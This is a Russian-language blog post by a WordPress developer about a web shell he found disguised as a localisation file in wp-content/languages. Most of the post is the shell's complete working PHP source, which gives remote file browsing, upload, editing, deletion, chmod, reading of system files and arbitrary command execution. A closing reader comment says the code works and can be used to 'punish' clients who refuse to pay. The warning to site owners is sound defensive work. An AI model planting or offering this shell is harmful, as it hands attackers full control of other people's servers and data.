Иван Данилин
Fullstack WordPress Developer
Во-первых, что такое «веб-шелл»
Веб-шелл (web-shell) — вредоносный скрипт, который используется злоумышленниками для управления чужими сайтами и серверами.
Веб-шеллы чаще всего обеспечивают доступ к файловой системе, базам данных, позволяют выполнять команды терминала, осуществлять брутфорс паролей и т.п.
Веб-шелл представляет собой серьёзную угрозу безопасности сайта.
Обнаружить визуально веб-шелл в Вордпресс не просто. Сильно упростить задачу помогает сканирование хорошим антивирусом. Известные шеллы обычно находятся быстро. Как проверить сайт антивирусом я расскажу в следующий раз.
В этот раз обнаружился Web-shell by (c)ShAnKaR.php
Он лежал в папке локализаций Вордпресс, имел вполне логичное имя, и при беглом осмотре не вызывал никаких подозрений.
/wp-content/languages/en_default.php
Конечно, если включить голову, расширение php в languages должно насторожить. Но когда файлов огромное количество, и от них рябит в глазах, заметить такое сложно.
<code></code><?php //error_reporting(0); @ini_restore("safe_mode"); @ini_restore("open_basedir"); if(get_magic_quotes_gpc()){ while(list($key,$val)=each($_POST)){ $_POST[$key]=stripslashes($val);}} ini_set(«magic_quotes_runtime», 0); @set_time_limit(0); @ini_set('max_execution_time',0); @ini_set('output_buffering',0); function font($color,$text,$size=4){return("<font color=$color size=$size >$text</font>");} function w($a){return str_repeat(" ",$a);} function b($b){return "<b>$b</b>";} function e($e){switch($e){ case 0:return('no such file'); case 1:return('no such dirictory'); case 2:return('permission denied'); case 3:return('is not dirictory'); case 4:return('is a dirictory'); }} function test_file($filename){ return(file_exists($filename)?(is_readable($filename)?false:font('red',e(2))):font('red',e(0)));} if(isset($_POST['downl']) && !empty($_POST['downf'])){ if(!preg_match('/^\//',$_POST['downf'])){ $_POST['downf']=$_POST['th'].'/'.$_POST['downf'];} if(!test_file($_POST['downf'])){ if(!is_dir($_POST['downf'])){ $fd=fopen($_POST['downf'], "rb"); $nam=preg_replace('/.+\//','',$_POST['downf']); header("Content-Type: application/octet-stream; name=\"".$nam."\""); header("Content-Length: ".filesize($_POST['downf'])); header("Content-disposition: attachment; filename=\"".$nam."\""); while(!feof($fd)){ $buffer=fgets($fd,4096); echo $buffer; } fclose ($fd); exit; } else $error=font('red',e(4)); } else $error=test_file($_POST['downf']);} echo "<html><body bgcolor=white><center><table bgcolor=white height=10 border=1><tr><td><nobr>".font('blue',@php_uname())."</nobr></td></tr></table><table bgcolor=white height=10 border=1><tr><td><nobr>".font('blue',getenv('SERVER_ADDR'))."</nobr></td><td><nobr>".font('blue',getenv('REMOTE_ADDR'))."</nobr></td></tr></table><br></center>\n"; if(!empty($_POST['th']))@chdir($_POST['th']); #UP if(isset($_POST['up']))@chdir('../'); #CD if(isset($_POST['c']) && $_POST['cd']!=''){ if(!test_file($_POST['cd'])){ if(is_dir($_POST['cd'])){ @chdir($_POST['cd']); } else $error=font('red',e(3)); } else $error=test_file($_POST['cd']);} echo w(3)."<input type=text size=60 value=".getcwd().">"; if(ini_get('safe_mode'))echo w(2).font('red','SAFE MODE'); echo "<br>"; ?> <hr> <form method=POST name=main> <input type="submit" value="^" name="up"> <input type=submit name=menu value=upload> <input type=submit name=find value='find writeable'> <br> <input type=text name=cd> <input type=submit value=cd name=c> <br> <input type=text name=open> <input type=submit value=open name=op> <br> <input type=text name=new> <input type=submit name=cr value="new file"> <br> <input type=text name=exec> <input type=submit name=exe value=exec> <br> <input type=text name=strin> <input type=text name=remot> <input type=submit name=copy value=copy> <br> <input type="text" name="renold" > <input type="text" name="rennew" > <input type="submit" name="rename" value="rename"> <br> <input type=text name=rm > <input type=submit name=del value=del> <br> <input type="text" name="mkdir"> <input type="submit" name="mk" value="mkdir"> <br> <input type="text" name="rmdir"> <input type="submit" name="rmd" value="rmdir"> <br> <input type="text" name="ch_mod"> <?php for($bch=1;$bch<=3;$bch++){echo"<select name=ch_p$bch>\n"; for($ach=7;$ach>=0;$ach--){echo"<OPTION value=$ach>$ach</OPTION>";} echo"</select>";} ?> <input type="submit" name="ch_chmod" value="chmod"> <br> <br> <hr> <?php #FIND WRITEABLE############## if(isset($_POST['find'])){ echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" checked>Only writeable:<input type=checkbox name="onw" checked><input type=submit name=fww value="Find it">');} if(isset($_POST['fww']) && !empty($_POST['fpath'])){ echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" '.(isset($_POST['dy'])?'checked':null).'>Only writeable:<input type=checkbox name="onw" '.(isset($_POST['onw'])?'checked':null).'><input type=submit name=fww value="Find it"><hr>'); $arrfw=array($_POST['fpath']); $ife=0; while(++$ife<=count($arrfw)){ $pathfw=$arrfw[$ife-1]; if(is_readable($pathfw)){ if($hfw=opendir($pathfw)){ while(false!==($ffw=readdir($hfw))){ $ffw=$pathfw.$ffw; if(!preg_match('/\/\.+$/',$ffw)){ if(is_dir($ffw)){array_push($arrfw,$ffw.'/');} print(is_dir($ffw)?(is_writeable($ffw)?font('red',"$ffw/<br>",3) :(isset($_POST['onw'])?null:"$ffw/<br>")):(!isset($_POST['dy'])?(is_writeable($ffw)?font('green',"$ffw<br> ",3):(isset($_POST['onw'])?null:"$ffw<br>")):null));}} closedir($hfw);}}}} if(isset($_POST['eval'])){ echo "<textarea cols=70 rows=7 name='ev'></textarea>\n"; echo ""; } ############################################################################ #RENAME if(isset($_POST['rename']) && $_POST['renold']<>'' && $_POST['rennew']<>''){ if(file_exists($_POST['renold'])){ @rename($_POST['renold'],$_POST['rennew']); } else $error=font('red',e(0)); } # #RMDIR if(isset($_POST['rmd']) && isset($_POST['rmdir'])){ if(file_exists($_POST['rmdir'])){ if(is_dir($_POST['rmdir'])){ if(@rmdir($_POST['rmdir'])) echo font('green',"dir ".b($_POST['rmdir'])." delet"); else $error=font('red','dir not deleted'); } else $error=font('red',e(3)); } else $error=font('red',e(0)); } # #CHMOD if(isset($_POST['ch_chmod']) && isset($_POST['ch_mod'])){ if(file_exists($_POST['ch_mod'])){ @chmod($_POST['ch_mod'],octdec($_POST['ch_p1'].$_POST['ch_p2'].$_POST['ch_p3']));} else $error=font('red',e(0));} # #DELETE if(isset($_POST['del']) && $_POST['rm']!=''){ if(file_exists($_POST['rm'])){ if(!is_dir($_POST['rm'])){ @unlink($_POST['rm']); } else echo "<br>".font('red',e(4)."<br>"); } else echo "<br>".font('red',e(0)."<br>"); } # #EXE if(!empty($_POST['exe'])){ if(@exec($_POST['exec'],$ar)){ echo "<textarea cols=70 rows=15>"; foreach($ar as $line){ echo $line."\n"; } echo "</textarea>";}} # #OPEN FILE if(isset($_POST['op']) && $_POST['open']!=''){ if(!test_file($_POST['open'])){ if(!is_dir($_POST['open'])){ $fil=file($_POST['open']); echo "<textarea cols=100 rows=20 name=edit>"; foreach($fil as $vv){ echo htmlspecialchars($vv); } echo "</textarea><br>".font('green',"FILE : ".$_POST['open'],3); if(is_writable($_POST['open'])==1){ echo w(2).font('green','ACCESS GRANTED'); echo "<input type=submit name=save value=save><input type=hidden value=".$_POST['open']." name=sv>"; }} else $error=font('red',e(2)); } else $error=test_file($_POST['open']); } if(isset($_POST['save'])){ $fr=fopen($_POST['sv'],"w"); $out=$_POST['edit']; fputs($fr,$out); fclose($fr); } # #CREATE FILE if(isset($_POST['cr']) && $_POST['new']!=''){ if(is_writable(dirname($_POST['new']))){ echo font('green',"Create new file : ".$_POST['new'],3)."<br><textarea name=newf cols=100 rows=20></textarea> <input type=submit name=cre value=create> <input type=hidden value=".$_POST['new']." name=nf>"; } else echo "<br>".font('red',e(2)."<br>"); } if(isset($_POST['cre'])){ $ee=fopen($_POST['nf'],'w+'); $out=$_POST['newf']; fputs($ee,$out); fclose($ee); } # #MKDIR if(isset($_POST['mk']) && $_POST['mkdir']!=''){ if(is_writeable('./')){ @mkdir($_POST['mkdir']); echo font('green',"dir ".b($_POST['mkdir'])." create"); } else echo font('red',e(2)); } # echo "<input type=hidden name=th value=".getcwd()."></form>"; #UPLOAD FILE if(isset($_POST['menu']) || isset($_POST['qq'])){ echo " <form enctype=multipart/form-data method=post> Save as :<input type=text name=name>File :<input name=userfile type=file> <input type=submit value=Send name=go_up> <input type=hidden name=qq> <input type=hidden name=th value=".getcwd()."></form>"; if(isset($_POST['go_up'])){ if(isset($_POST['name']) && $_POST['name']==''){ $_POST['name']=$_FILES['userfile']['name'];} if(!preg_match('/^\//',$_POST['name'])){ $_POST['name']=$_POST['th'].'/'.$_POST['name'];} if(is_uploaded_file($_FILES['userfile']['tmp_name'])){ @copy($_FILES['userfile']['tmp_name'],$_POST['name']);} else echo "<br>".font('red',"Permisions denied");}} # #TEST PERM if(isset($_POST['tes']) && $_POST['test']!=''){ $j=$_POST['test']; if(file_exists($j)){ $w=''; if(is_writeable($j)){ $w=w(1).'WRITE'.w(1); } if(is_readable($j)){ $w=$w.w(1).'READ'.w(1); } echo font('green',$w.sprintf("%o", (fileperms($_POST['test'])) & 0777)); } else echo font('red',$e(0)); } # #COPY if(isset($_POST['copy'])&& $_POST['strin']!='' && $_POST['remot']!=''){ if(file_exists(dirname($_POST['remot']))){ if(file_exists($_POST['strin'])){ if(is_writable(dirname($_POST['remot']))){ if(is_readable($_POST['strin'])){ @copy($_POST['strin'],$_POST['remot']); } else echo font('red',"no read string file"); } else echo font('red',"no write dest directory"); } else echo font('red',"no such file"); } else echo font('red',"no such dest dir"); } # #CHECK DISK if(isset($_POST['free']) && $_POST['dirfree']!=''){ if(file_exists($_POST['dirfree'])){ $fre=@disk_free_space($_POST['dirfree'])/1048576; echo font('green',"Free space in ".b($_POST['dirfree'])." : ".$fre." Mb"); $fre1=@disk_total_space($_POST['dirfree'])/1048576; echo "<br>".font('green',"Full size in ".b($_POST['dirfree'])." : ".$fre1." Mb"); } else echo font('red',"No such disk"); } # (isset($_POST['info']))?phpinfo():null; # #PASSWD if(!empty($_POST['passwd']) && isset($_POST['passw'])){ echo "<center>".font('blue',"file : ".$_POST['passwd'],6)."</center><br><textarea cols=100 rows=15>\n"; foreach(@file($_POST['passwd']) as $fed)echo $fed; echo "</textarea><br>\n";} # if(isset($error))echo $error;?> <hr><?php ################################################################################## if(is_readable(getcwd())){ if($h=opendir(getcwd())){ $arr=array(); while(false!==($f=readdir($h))){array_push ($arr,$f);} closedir($h);}} else die("<center>".b(font('red','FUNCTION LIST PERMISSION DENIED',6))."</center>"); sort($arr); echo '<table width=800 bgcolor=#DFD6C8 cellspacing=0 cellpadding=0 border=1>'; foreach($arr as $f){ $l=@lstat($f); print((is_readable($f) && is_writeable($f))?"<tr><td>".w(1).b("R".w(1).font('red','RW',3)).w(1):(((is_readable($f))?"<tr><td>".w(1).b("R").w(4):"").((is_writable($f))?"<tr><td>".w(1).b(font('red','RW',3)):""))); $r=sprintf("%o",(@fileperms($f)) & 0777); $fow=($ow["name"]?$ow["name"]:fileowner($f))."/".($gr["name"]?$gr["name"]:filegroup($f)); if(!is_readable($f) && !is_writeable($f)) echo "<tr><td>".w(12); echo "</td><td>$r</td><td>$fow</td>"; if(!is_dir($f)){ if(!is_link($f)){ echo w(2)."<td><i>".$l[7]."</i></td>";} else echo "</td><td>link</td>";} else echo "</td><td>DIR</td>"; $fi=htmlspecialchars($f); echo "<td>".@strftime('%B %e %H:%M',@filemtime($f))."</td><td>".(is_dir($f)?font('blue',$fi,3):$fi)."</td>\n";} ?> </table></body></html> <?php exit; ?>
Если обратиться к нему в браузере, выглядит это так:

Как видим, веб-шелл представляет собой полноценный файловый менеджер. Можно создавать, удалять, редактировать файлы, прям там же есть простенький текстовый редактор.
И самое главное — все это прекрасно работает.
Ну, а как попадают веб-шеллы на хостинг — это уже другая, более долгая история, которая тянет на книгу, как минимум.
Еще вернемся к этому.
-
Спасибо, работает. Теперь если клиент не захочет платить за выполненную работу, можно его будет наказать.